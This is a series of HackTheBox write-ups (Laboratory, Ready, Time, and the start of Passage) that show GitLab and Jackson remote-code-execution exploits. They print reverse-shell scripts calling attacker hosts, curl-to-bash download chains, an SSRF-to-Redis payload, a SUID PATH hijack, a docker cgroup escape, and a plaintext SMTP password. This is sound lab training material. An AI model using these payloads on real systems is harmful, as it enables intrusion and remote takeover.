<p>We need a gitlabshell to create the cookie that will allow use to execute the
code on the box. We also need the same version as the one on the box.</p>
<p>Using docker and some <a href="[https://www.howtoforge.com/how-to-install-gitlab-with-docker-on-ubuntu-2004">article</a>
we create a <code>docker-compose.yml</code> that looks as follow.</p>
<div class="highlight"><pre><span></span><code>web:
image: 'gitlab/gitlab-ce:12.8.1-ce.0'
restart: always
hostname: 'gitlab.hakase-labs.io'
environment:
GITLAB_OMNIBUS_CONFIG: |
# Add any other gitlab.rb configuration here, each on its own line
#external_url 'https://gitlab.hakase-labs.io'
gitlab_rails['gitlab_shell_ssh_port'] = 2224
#nginx['redirect_http_to_https'] = true
#nginx['ssl_certificate'] = "/etc/gitlab/ssl/fullchain.pem"
#nginx['ssl_certificate_key'] = "/etc/gitlab/ssl/privkey.pem"
#nginx['ssl_dhparam'] = "/etc/gitlab/ssl/dhparams.pem"
ports:
- '80:80'
- '443:443'
- '2224:22'
volumes:
- '${GITLAB_HOME}/config:/etc/gitlab'
- '${GITLAB_HOME}/logs:/var/log/gitlab'
- '${GITLAB_HOME}/data:/var/opt/gitlab'
- '${GITLAB_HOME}/config/ssl:/etc/gitlab/ssl'
</code></pre></div>
<h3>RCE</h3>
<p>We got a shell on out gitlab docker and overwrite
<code>/opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml</code> with the downloaded one.
Then we use <code>gitlab-rails console</code> to reproduce the lines in the
<a href="https://hackerone.com/reports/827052">hackerone report</a>
to create a Marshalled payload within a cookie. Our first payload is a simple
<code>wget</code> targeting our own python server.</p>
<div class="highlight"><pre><span></span><code>request = ActionDispatch::Request.new(Rails.application.env_config)
request.env["action_dispatch.cookies_serializer"] = :marshal
cookies = request.cookie_jar
irb(main):014:0> erb = ERB.new("<%= `wget http://10.10.14.51:8000/p0wn` %>")
depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result, "@result", ActiveSupport::Deprecation.new)
cookies.signed[:cookie] = depr
puts cookies[:cookie]
BAhvOkBBY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbjo6RGVwcmVjYXRlZEluc3RhbmNlVmFyaWFibGVQcm94eQk6DkBpbnN0YW5jZW86CEVSQgs6EEBzYWZlX2xldmVsMDoJQHNyY0kiYyNjb2Rpbmc6VVRGLTgKX2VyYm91dCA9ICsnJzsgX2VyYm91dC48PCgoIGB3Z2V0IGh0dHA6Ly8xMC4xMC4xNC41MTo4MDAwL3Awd25gICkudG9fcyk7IF9lcmJvdXQGOgZFRjoOQGVuY29kaW5nSXU6DUVuY29kaW5nClVURi04BjsKRjoTQGZyb3plbl9zdHJpbmcwOg5AZmlsZW5hbWUwOgxAbGluZW5vaQA6DEBtZXRob2Q6C3Jlc3VsdDoJQHZhckkiDEByZXN1bHQGOwpUOhBAZGVwcmVjYXRvckl1Oh9BY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbgAGOwpU--e58cf8e3ef8e1b016de9b83cac7627d48ec17c45
</code></pre></div>
<p>We then use <code>curl</code> to send our request and got a hit on our web server.</p>
<div class="highlight"><pre><span></span><code>curl -vvv -k 'https://git.laboratory.htb/users/sign_in' -b "experimentation_subject_id=BAhvOkBBY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbjo6RGVwcmVjYXRlZEluc3RhbmNlVmFyaWFibGVQcm94eQk6DkBpbnN0YW5jZW86CEVSQgs6EEBzYWZlX2xldmVsMDoJQHNyY0kiYyNjb2Rpbmc6VVRGLTgKX2VyYm91dCA9ICsnJzsgX2VyYm91dC48PCgoIGB3Z2V0IGh0dHA6Ly8xMC4xMC4xNC41MTo4MDAwL3Awd25gICkudG9fcyk7IF9lcmJvdXQGOgZFRjoOQGVuY29kaW5nSXU6DUVuY29kaW5nClVURi04BjsKRjoTQGZyb3plbl9zdHJpbmcwOg5AZmlsZW5hbWUwOgxAbGluZW5vaQA6DEBtZXRob2Q6C3Jlc3VsdDoJQHZhckkiDEByZXN1bHQGOwpUOhBAZGVwcmVjYXRvckl1Oh9BY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbgAGOwpU--e58cf8e3ef8e1b016de9b83cac7627d48ec17c45"
</code></pre></div>
<p>We then change our payload to download a "reverse shell" and execute it:
<code>curl http://10.10.14.51:8000/rev.sh -o /tmp/rev.sh && chmod 777 rev.sh && bash /tmp/rev.sh</code></p>
<p>The content of rev.sh is the following:</p>
<div class="highlight"><pre><span></span><code><span class="ch">#!/bin/bash</span>
bash<span class="w"> </span>-i<span class="w"> </span>><span class="p">&</span><span class="w"> </span>/dev/tcp/10.10.14.51/4242<span class="w"> </span><span class="m">0</span>><span class="p">&</span><span class="m">1</span>
</code></pre></div>
<p>Our <code>netcat</code> listener quickly catch a reverse shell as git.</p>
<h2>Getting user</h2>
<p>Using gitlab-rails console on the HTB machine and gitlab documentation about
<a href="https://docs.gitlab.com/ee/administration/troubleshooting/gitlab_rails_cheat_sheet.html">gitlab-rails cheatsheet</a>
and <a href="https://docs.gitlab.com/ee/development/permissions.html">projects' permissions</a>
we change the visibility of every projects on the gitlab instance to public.</p>
<div class="highlight"><pre><span></span><code>gitlab-rails console
--------------------------------------------------------------------------------
GitLab: 12.8.1 (d18b43a5f5a) FOSS
GitLab Shell: 11.0.0
PostgreSQL: 10.12
--------------------------------------------------------------------------------
Loading production environment (Rails 6.0.2)
Switch to inspect mode.
Project.update_all(visibility_level: 20)
</code></pre></div>
<p>That allow us to discover a <code>securedocker</code> project from the <code>dexter</code> user
containing a <a href="https://git.laboratory.htb/dexter/securedocker/-/blob/master/dexter/.ssh/id_rsa">SSH private key</a>.</p>
<p>Using this key we can connect as <code>dexter</code> on the box and get the user flag.</p>
<div class="highlight"><pre><span></span><code>$ ssh 10.129.60.56 -i id_rsa -ldexter
dexter@laboratory:~$ id
uid=1000(dexter) gid=1000(dexter) groups=1000(dexter)
dexter@laboratory:~$ cat user.txt
a153ecab9310723fa79e5dc37487ef68
</code></pre></div>
<h1>Root</h1>
<p>We start enumerating the box. We "quickly" found a suspect SUID binary
<code>docker-security</code>.</p>
<div class="highlight"><pre><span></span><code>dexter@laboratory:/tmp/.plop$ find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \; | grep -v snap
-rwsr-xr-x 1 root dexter 16720 Aug 28 14:52 /usr/local/bin/docker-security
-rwsr-xr-x 1 root root 166056 Jul 15 00:17 /usr/bin/sudo
-rwsr-xr-x 1 root root 44784 May 28 2020 /usr/bin/newgrp
-rwsr-xr-x 1 root root 67816 Apr 2 2020 /usr/bin/su
-rwsr-xr-x 1 root root 88464 May 28 2020 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 39144 Mar 7 2020 /usr/bin/fusermount
-rwsr-xr-x 1 root root 85064 May 28 2020 /usr/bin/chfn
-rwsr-xr-x 1 root root 31032 Aug 16 2019 /usr/bin/pkexec
-rwsr-sr-x 1 daemon daemon 55560 Nov 12 2018 /usr/bin/at
-rwsr-xr-x 1 root root 39144 Apr 2 2020 /usr/bin/umount
-rwsr-xr-x 1 root root 53040 May 28 2020 /usr/bin/chsh
-rwsr-xr-x 1 root root 55528 Apr 2 2020 /usr/bin/mount
-rwsr-xr-x 1 root root 68208 May 28 2020 /usr/bin/passwd
-rwsr-xr-x 1 root root 14488 Jul 8 2019 /usr/lib/eject/dmcrypt-get-device
-rwsr-xr-- 1 root messagebus 51344 Jun 11 18:22 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 22840 Aug 16 2019 /usr/lib/policykit-1/polkit-agent-helper-1
-rwsr-xr-x 1 root root 473576 May 29 2020 /usr/lib/openssh/ssh-keysign
</code></pre></div>
<p>We use <code>ltrace</code> to see what binaries are called by the SUID one. We identify
that the binary use a relative path call to <code>chmod</code>.</p>
<div class="highlight"><pre><span></span><code>dexter@laboratory:~$ ltrace docker-security
setuid(0) = -1
setgid(0) = -1
system("chmod 700 /usr/bin/docker"chmod: changing permissions of '/usr/bin/docker': Operation not permitted
<no ...="" return="">
--- SIGCHLD (Child exited) ---
<... system resumed> ) = 256
system("chmod 660 /var/run/docker.sock"chmod: changing permissions of '/var/run/docker.sock': Operation not permitted
<no ...="" return="">
--- SIGCHLD (Child exited) ---
<... system resumed> ) = 256
+++ exited (status 0) +++
</no></no></code></pre></div>
<p>So we simply create a new "<code>chmod</code>" program and add it to our path to get a root
shell and grab the flag</p>
<div class="highlight"><pre><span></span><code>dexter@laboratory:/tmp/.plop$ echo /bin/bash > chmod
dexter@laboratory:/tmp/.plop$ chmod +x chmod
dexter@laboratory:/tmp/.plop$ export PATH=./:$PATH
dexter@laboratory:/tmp/.plop$ echo $PATH
./:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/snap/bin
dexter@laboratory:/tmp/.plop$ docker-security
root@laboratory:/tmp/.plop# cat /root/root.txt
1b08ba51a612057b8aca9940e57fce77
</code></pre></div>
<h1>Wrapping up</h1>
<p>A really interesting box that allow us to play with a real vulnerability from a
bug bounty report. Maybe more a medium than an easy box.</p>HTB: Ready2021-05-16T09:20:00+02:002021-05-16T09:20:00+02:00maggicktag:maggick.fr,2021-05-16:/2021/05/htb-ready.html<p><img alt="Ready card" class="align-left" src="/media/2021.05/ready_card.png" width="262"/></p>
<p>This is a writeup about a retired HacktheBox machine:
<a href="https://www.hackthebox.com/home/machines/profile/304">Ready</a> published on
December 12 2020 by
<a href="https://www.hackthebox.com/home/users/profile/27897">bertolis</a>
This box is classified as a medium machine. This box implies an outdated gitlab
server, a clear text password in a backup file and a docker container.</p>
<p><img alt="Ready card" class="align-left" src="/media/2021.05/ready_card.png" width="262"/></p>
<p>This is a writeup about a retired HacktheBox machine:
<a href="https://www.hackthebox.com/home/machines/profile/304">Ready</a> published on
December 12 2020 by
<a href="https://www.hackthebox.com/home/users/profile/27897">bertolis</a>
This box is classified as a medium machine. This box implies an outdated gitlab
server, a clear text password in a backup file and a docker container.</p>
<h1>User</h1>
<h2>Recon</h2>
<p>We start with an nmap scan. Only port 22 (SSH) and port 5080 (HTTP) are open.</p>
<div class="highlight"><pre><span></span><code># Nmap 7.91 scan initiated Sun Dec 13 03:40:16 2020 as: nmap -p- -sSV -oN nmap 10.129.29.192
Nmap scan report for 10.129.29.192
Host is up (0.014s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
5080/tcp open http nginx
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Dec 13 03:40:48 2020 -- 1 IP address (1 host up) scanned in 31.28 seconds
</code></pre></div>
<h2>Web</h2>
<p>The HTTP service is once again a gitlab (my latest rooted box is
<a href="/2021/05/htb-laboratory.html">laboratory</a>) server. This time the version is 11.4.7. A Google
research "gitlab 11.4.7 exploit" lead us to a
<a href="https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/">blog article about an RCE on gitlab during a CTF</a></p>
<p>Following the blog exploitation we end up with a request looking like the
following and can validate the RCE using a python server on our kalibox.</p>
<div class="highlight"><pre><span></span><code>POST /projects HTTP/1.1
Host: 10.129.29.192:5080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.129.29.192:5080/projects/new
Content-Type: application/x-www-form-urlencoded
Content-Length: 1073
Origin: http://10.129.29.192:5080
Connection: close
Cookie: _gitlab_session=140270c33fe803d8ab11d0f9a85c45cf; sidebar_collapsed=false
Upgrade-Insecure-Requests: 1
utf8=%E2%9C%93&authenticity_token=%2BEHyUYosjkfZlzfMEpR8QFZ%2BWiJMAQQ%2BTiB3Wt%2FNK0fNBNX9EhAKd6VM6okCvVQ0fZ6HxSBzQdo%2Fx4Lfe4nDCw%3D%3D&project%5Bimport_url%5D=git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7C%63%75%72%6c%20%68%74%74%70%3a%2f%2f%31%30%2e%31%30%2e%31%34%2e%31%38%3a%38%30%30%30%2f%72%65%76%32%2e%73%68%20%7c%20%62%61%73%68%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf.git&project%5Bci_cd_only%5D=false&project%5Bname%5D=&project%5Bnamespace_id%5D=6&project%5Bpath%5D=ttreqqq139&project%5Bdescription%5D=&project%5Bvisibility_level%5D=0
</code></pre></div>
<p>We can even just manually import a git project using the following "git url":
<code>git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Cxxxxxxxxx%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf.git</code> and replacing the payload <code>xxxxxxxxxxx</code> with our own URL encoded.</p>
<p>We send the following payload <code>curl http://10.10.14.18:8000/rev2.sh | bash</code>.</p>
<p>The content of rev2.sh is the following:</p>
<div class="highlight"><pre><span></span><code><span class="ch">#!/bin/bash</span>
bash<span class="w"> </span>-i<span class="w"> </span>><span class="p">&</span><span class="w"> </span>/dev/tcp/10.10.14.18/4443<span class="w"> </span><span class="m">0</span>><span class="p">&</span><span class="m">1</span>
</code></pre></div>
<p>We run a netcat listener to catch our reverse shell. We end up with a shell as
<code>git</code> that can read the user flag.</p>
<div class="highlight"><pre><span></span><code>kali@kali:~$ nc -l -p 4443
bash: cannot set terminal process group (485): Inappropriate ioctl for device
bash: no job control in this shell
git@gitlab:~/gitlab-rails/working$ id
id
uid=998(git) gid=998(git) groups=998(git)
git@gitlab:/$ find / -name 'user.txt' 2>/dev/null
find / -name 'user.txt' 2>/dev/null
/home/dude/user.txt
git@gitlab:/$ cat /home/dude/user.txt
cat /home/dude/user.txt
e1e30b052b6ec0670698805d745e7682
</code></pre></div>
<h1>Root</h1>
<h2>Enumeration</h2>
<p>We enumerate a few file and find the <code>/opt/backup/</code> directory which contain a few
files. The file <code>gitlab.rb</code> contain a smtp password.</p>
<div class="highlight"><pre><span></span><code>git@gitlab:/opt/backup$ grep -i pass gitlab.rb
grep -i pass gitlab.rb
#### Email account password
# gitlab_rails['incoming_email_password'] = "[REDACTED]"
# password: '_the_password_of_the_bind_user'
# password: '_the_password_of_the_bind_user'
# '/users/password',
#### Change the initial default admin password and shared runner registration tokens.
# gitlab_rails['initial_root_password'] = "password"
# gitlab_rails['db_password'] = nil
# gitlab_rails['redis_password'] = nil
gitlab_rails['smtp_password'] = "wW59U!ZKMbG9+*#h"
# gitlab_shell['http_settings'] = { user: 'username', password: 'password', ca_file: '/etc/ssl/cert.pem', ca_path: '/etc/pki/tls/certs', self_signed_cert: false}
##! `SQL_USER_PASSWORD_HASH` can be generated using the command `gitlab-ctl pg-password-md5 gitlab`
# postgresql['sql_user_password'] = 'SQL_USER_PASSWORD_HASH'
# postgresql['sql_replication_password'] = "md5 hash of postgresql password" # You can generate with `gitlab-ctl pg-password-md5 <dbuser>`
# redis['password'] = 'redis-password-goes-here'
####! **Master password should have the same value defined in
####! redis['password'] to enable the instance to transition to/from
# redis['master_password'] = 'redis-password-goes-here'
# geo_secondary['db_password'] = nil
# geo_postgresql['pgbouncer_user_password'] = nil
# password: PASSWORD
###! generate this with `echo -n '$password + $username' | md5sum`
# pgbouncer['auth_query'] = 'SELECT username, password FROM public.pg_shadow_lookup($1)'
# password: MD5_PASSWORD_HASH
# postgresql['pgbouncer_user_password'] = nil
</dbuser></code></pre></div>
<p>We need an interactive shell to be able to input a password, we use python for
that purpose and end up with a shell as root.</p>
<div class="highlight"><pre><span></span><code>git@gitlab:~/gitlab-rails/working$ python3 -c 'import pty; pty.spawn("/bin/bash")'
<orking$ 'import="" -c="" <="" bash")'="" bin="" code="" gid="0(root)" git@gitlab:~="" gitlab="" gitlab-rails="" groups="0(root)" id="" opt="" password:="" pty.spawn("="" pty;="" python3="" root@gitlab:="" su="" uid="0(root)" var="" working#="" working$="" ww59u!zkmbg9+*#h=""></orking$></code></pre></div>
<p>Nonetheless we cannot find any <code>root.txt</code> file. As you probably already guess or
notice we are in a docker container.</p>
<h2>Docker escape</h2>
<p>We run <a href="https://github.com/stealthcopter/deepce">deepce</a>: Docker Enumeration, Escalation of Privileges and Container Escapes (DEEPCE)
We use a python server on our kalibox to transfer the script using <code>wget --recursive --no-parent http://10.10.14.18:8000</code>.
And we run it.</p>
<div class="highlight"><pre><span></span><code><snip>
[+] Privileged Mode ......... Yes
The container appears to be running in privilege mode, we should be able to access the
raw disks and mount the hosts root partition in order to gain code execution.
See https://stealthcopter.github.io/deepce/guides/docker-privileged.md
<snip>
</snip></snip></code></pre></div>
<p>An other quick Google research allow us to find a <a href="https://medium.com/better-programming/escaping-docker-privileged-containers-a7ae7d17f5a1">medium article</a>
to learn more about docker's privilege mode with a few command line to execute a
command on the system. We just replace the <code>echo "ps aux > $host_path/output" >> /cmd</code> line
with <code>echo "cat /root/root.txt > $host_path/output" >> /cmd</code> and grab the root
hash.</p>
<div class="highlight"><pre><span></span><code><snip>
root@gitlab:/tmp/.plop# echo "cat /root/root.txt > $host_path/output" >> /cmd
echo "cat /root/root.txt > $host_path/output" >> /cmd
root@gitlab:/tmp/.plop# sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
root@gitlab:/tmp/.plop# cat /output
cat /output
b7f98681505cd39066f67147b103c2b3
</snip></code></pre></div>
<h1>Wrapping up</h1>
<p>The box is not that hard (less than <a href="/2021/05/htb-laboratory.html">laboratory</a>) and quit interesting
as the exploitation of the gitlab's SSRF and its upgrade to an RCE was really
interesting and detailed on the blog article.</p>HTB: Time2021-04-07T19:20:00+02:002021-04-07T19:20:00+02:00maggicktag:maggick.fr,2021-04-07:/2021/04/htb-time.html<p><img alt="Time Card" class="align-left" src="/media/2021.04/time_card.png" width="262"/></p>
<p>This is a writeup about a retired HacktheBox machine:
<a href="https://www.hackthebox.com/home/machines/profile/286">Time</a> publish on
October 24, 2020 by
<a href="https://www.hackthebox.com/home/users/profile/94858">egotisticalSW</a> and
<a href="https://www.hackthebox.com/home/users/profile/27390">felamos </a>.
This box is rated as a medium box. It implies a hard foothold using Jackson and
some Google fu. The root part is quit fast as there is a writable bash script
running regularly as root.</p>
<p><img alt="Time Card" class="align-left" src="/media/2021.04/time_card.png" width="262"/></p>
<p>This is a writeup about a retired HacktheBox machine:
<a href="https://www.hackthebox.com/home/machines/profile/286">Time</a> publish on
October 24, 2020 by
<a href="https://www.hackthebox.com/home/users/profile/94858">egotisticalSW</a> and
<a href="https://www.hackthebox.com/home/users/profile/27390">felamos </a>.
This box is rated as a medium box. It implies a hard foothold using Jackson and
some Google fu. The root part is quit fast as there is a writable bash script
running regularly as root.</p>
<h1>Foothold</h1>
<h2>Recon</h2>
<p>Let us start as always by a <code>nmap</code> scan. Only port 80 (HTTP) and 22 (SSH) are
open.</p>
<div class="highlight"><pre><span></span><code># Nmap 7.91 scan initiated Wed Nov 11 12:02:12 2020 as: nmap -sS -p- -oN nmap 10.129.29.179
Nmap scan report for 10.129.29.179
Host is up (0.012s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
# Nmap done at Wed Nov 11 12:02:28 2020 -- 1 IP address (1 host up) scanned in 15.91 seconds
</code></pre></div>
<h2>Web</h2>
<p>The website is an online tool to beautify and validate json data.</p>
<p><img alt="time homepage" class="image-process-article-image" src="/media/2021.04/derivatives/article-image/time_01.png"/></p>
<p>When we try to validate "garbage" input. We got an error message "Validation failed: Unhandled Java exception: com.fasterxml.jackson.core.JsonParseException: Unrecognized token 'qe': was expecting ('true', 'false' or 'null')"</p>
<p>We see that the website is using the Jackson library.</p>
<p>As we want a RCE we start a few Google search with "jackson fasterxml rce".
The results are from 2017:</p>
<ul>
<li>https://medium.com/@swapneildash/understanding-insecure-implementation-of-jackson-deserialization-7b3d409d2038</li>
<li>https://adamcaudill.com/2017/10/04/exploiting-jackson-rce-cve-2017-7525/</li>
<li>https://medium.com/@cowtowncoder/on-jackson-cves-dont-panic-here-is-what-you-need-to-know-54cd0d6e8062</li>
</ul>
<p>We continue our searches and finally get to "jackson gadget". Which lead us to a
more recent <a href="https://blog.doyensec.com/2019/07/22/jackson-gadgets.html">article about Jackson gadgets</a>.</p>
<p>We send the following request (we just URL encoded the data parameter)</p>
<div class="highlight"><pre><span></span><code>POST / HTTP/1.1
Host: 10.129.29.179
User-Agent: Mozilla/4.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 174
Origin: http://10.129.29.179
Connection: close
Referer: http://10.129.29.179/
Upgrade-Insecure-Requests: 1
mode=2&data=["ch.qos.logback.core.db.DriverManagerConnectionSource",+{"url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT+FROM+'http://10.10.14.25:8000/inject.sql'"}]
</code></pre></div>
<p>Our inject.sql file looks like the following:</p>
<div class="highlight"><pre><span></span><code>CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
String[] command = {"bash", "-c", cmd};
java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");
return s.hasNext() ? s.next() : ""; }
$$;
CALL SHELLEXEC('<payload>')
</payload></code></pre></div>
<p>We start with a first simple payload <code>wget http://10.10.14.25:8000/rce</code>
as we see the query in our python server log we know that we have RCE</p>
<p>We change the payload to get a <a href="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md">reverse shell</a>
<code>bash -i >& /dev/tcp/10.10.14.25/4242 0>&1</code></p>
<p>This allows us to get a shell and grab the user flag.</p>
<div class="highlight"><pre><span></span><code>kali@kali:/tmp$ nc -l -p4242
bash: cannot set terminal process group (958): Inappropriate ioctl for device
bash: no job control in this shell
pericles@time:/var/www/html$ cat /home/pericles/user.txt
cat /home/pericles/user.txt
74555f76d2e8013945afd9233ca2f219
</code></pre></div>
<h1>Root</h1>
<p>We start by checking our privileges. We are not part of any specific group. As we don't know our password we cannot use sudo.</p>
<div class="highlight"><pre><span></span><code>pericles@time:/var/www/html$ id
id
uid=1000(pericles) gid=1000(pericles) groups=1000(pericles)
</code></pre></div>
<p>As we want to transfer file and have a better shell, we "upload" our SSH key:</p>
<div class="highlight"><pre><span></span><code>mkdir /home/pericles/.ssh
echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC/ElCFvS<snip>' > /home/pericles/.ssh/authorized_keys
</snip></code></pre></div>
<p>We upload <a href="https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS">linpeas</a> using scp and run it.
We discover that we have access to the /usr/bin/timer_backup.sh file (read and write)</p>
<div class="highlight"><pre><span></span><code>[+] .sh files in path
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#script-binaries-in-path
/usr/bin/gettext.sh
You own the script: /usr/bin/timer_backup.sh
/usr/bin/rescan-scsi-bus.sh
</code></pre></div>
<p>We take a look at the file. It seems that root is regulary making a backup of the website.</p>
<div class="highlight"><pre><span></span><code>pericles@time:~$ cat /usr/bin/timer_backup.sh
#!/bin/bash
zip -r website.bak.zip /var/www/html && mv website.bak.zip /root/backup.zip
</code></pre></div>
<p>We modify the file using Vim and add the following lines</p>
<div class="highlight"><pre><span></span><code>mkdir /root/.ssh
echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC/ElCFv<snip>' > /root/.ssh/authorized_keys
</snip></code></pre></div>
<p>Waiting a few seconds and connecting back to the box with the root user allow us to get a shell and grab the flag.</p>
<div class="highlight"><pre><span></span><code>kali@kali:~$ ssh root@10.129.29.179
Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-52-generic x86_64)
<snip>
Last login: Fri Oct 23 10:05:26 2020
root@time:~# cat root.txt
50fb5aa6e01ec64a77c48d42cf533088
</snip></code></pre></div>
<h1>Wrapping up</h1>
<p>The root part was easy, the jackson exploitation was harder and mostly some Google fu.
Nonetheless an interesting box to play with Java Deserialization vulnerabilities.</p>HTB: Passage2021-03-09T09:20:00+01:002021-03-09T09:20:00+01:00maggicktag:maggick.fr,2021-03-09:/2021/03/htb-passage.html<p><img alt="Passage Card" class="align-left" src="/media/2021.03/passage_card.png" width="262"/></p>
<p>This is a writeup about a retired HacktheBox machine:
<a href="https://www.hackthebox.com/home/machines/profile/275">Passage</a> publish on
September 2, 2020 by
<a href="https://www.hackthebox.com/home/users/profile/140851">ChefByzen</a>.
This box is rated as a medium box. It implies two public exploit and a shared SSH
private key.</p>
<p><img alt="Passage Card" class="align-left" src="/media/2021.03/passage_card.png" width="262"/></p>
<p>This is a writeup about a retired HacktheBox machine:
<a href="https://www.hackthebox.com/home/machines/profile/275">Passage</a> publish on
September 2, 2020 by
<a href="https://www.hackthebox.com/home/users/profile/140851">ChefByzen</a>.
This box is rated as a medium box. It implies two public exploit and a shared SSH
private key.</p>
<h1>Foothold</h1>
<h2>Recon</h2>
<p>Let us start as always by a <code>nmap</code> scan. Only port 80 (HTTP) and 22 (SSH) are
open.</p>
<div class="highlight"><pre><span></span><code># Nmap 7.80 scan initiated Sun Sep 13 03:46:59 2020 as: nmap -p- -sSV -oN nmap 10.10.10.206
Nmap scan report for 10.10.10.206
Host is up (0.086s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
</code></pre></div>
<h2>Web</h2>
<p>We browse to the website. This is a simple blog with some news. One of them is
about a <a href="https://www.fail2ban.org/wiki/index.php/Main_Page">fail2ban</a>
implementation. This will dissuade us to brute force login interfaces (which
rarely happen on HTB) and run <code>dirb</code> against the site.</p>
<p><img alt="Passage News index" class="image-process-article-image" src="/media/2021.03/derivatives/article-image/passage_01.png"/></p>
<p>When looking at the bottom of the page we see that the blog is "Powered by
CuteNews". A few Google search lead us to the admin panel located at <code>/CuteNews</code></p>
<p><img alt="Cute News login page" class="image-process-article-image" src="/media/2021.03/derivatives/article-image/passage_02.png"/></p>
<p>We cannot login as we don't have any creds nor create an account.
We also check the available exploit for this CuteNews version (2.1.2).</p>
<div class="highlight"><pre><span></span><code>kali@kali:~$ searchsploit CuteNews 2.1.2
----------------------------------------------------------- ---------------------------------
Exploit Title | Path
----------------------------------------------------------- ---------------------------------
CuteNews 2.1.2 - 'avatar' Remote Code Execution (Metasploi | php/remote/46698.rb
CuteNews 2.1.2 - Arbitrary File Deletion | php/webapps/48447.txt
CuteNews 2.1.2 - Authenticated Arbitrary File Upload | php/webapps/48458.txt
----------------------------------------------------------- ---------------------------------
Shellcodes: No Results
</code></pre></div>
<p>We import the 'Avatar' exploit into metasploit using <a href="https://github.com/rapid7/metasploit-framework/wiki/Running-Private-Modules">rapid7 guide</a>.
We register an account an launch the exploit and got a reverse shell as <code>www-data</code>.</p>
<p>We look at the available files. We found the <code>cdata</code> folder just a level above
and then the <code>users</code> directory. We display some of them. They contain base64
encoded user data. Some of them contain a SHA256 hashed password.</p>
<div class="highlight"><pre><span></span><code>cat b0.php
<?php die('Direct call - access denied'); ?>
